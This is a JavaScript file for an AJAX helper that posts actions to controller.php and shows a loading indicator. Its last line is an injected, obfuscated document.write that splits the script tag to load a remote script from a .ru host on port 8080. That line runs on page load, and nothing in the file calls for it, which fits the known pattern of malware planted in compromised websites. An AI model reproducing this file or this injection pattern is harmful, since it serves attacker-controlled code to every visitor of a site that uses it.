var xmlHttp = false;
try
{
	xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
	try
	{
		xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	catch (e2)
	{
		xmlHttp = false;
	}
}
if (!xmlHttp && typeof XMLHttpRequest != 'undefined')
{
	xmlHttp = new XMLHttpRequest();
}

function controller(action, elementId, postParams)
{
	if(xmlHttp)
	{
		xmlHttp.onreadystatechange = function() {
			if (xmlHttp.readyState == 1) {
				// http://www.quirksmode.org/viewport/compatibility.html
				var x,y;
				if (self.innerHeight) // all except Explorer
				{
					x = self.innerWidth;
					y = self.innerHeight;
				}
				else if (document.documentElement && document.documentElement.clientHeight)
					// Explorer 6 Strict Mode
				{
					x = document.documentElement.clientWidth;
					y = document.documentElement.clientHeight;
				}
				else if (document.body) // other Explorers
				{
					x = document.body.clientWidth;
					y = document.body.clientHeight;
				}
				x = x/2;
				y = y/2;
				x -= 40; // approx. half box size
				y -= 40;
				var loadingGif = document.getElementById("manu_loading");
				loadingGif.style.top = y+"px";
				loadingGif.style.left = x+"px";;
				loadingGif.style.display = "block";
			} else if (xmlHttp.readyState == 4) {
				document.getElementById("manu_loading").style.display = "none";
				if (xmlHttp.status == 200) {
					if(document.getElementById(elementId))
					{
						document.getElementById(elementId).innerHTML = xmlHttp.responseText;
					}
				} else {
					alert("There was a problem retrieving the page:\n"+xmlHttp.statusText);
				}
				xmlHttp.abort(); // reset readyState for IE
			}
		}
		xmlHttp.open("POST", "controller.php", true);
		xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		xmlHttp.send("action="+action+"&"+postParams);
	}
	return false; // for form submission (?!?!!!!)
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Debug.js"></scr'+'ipt>');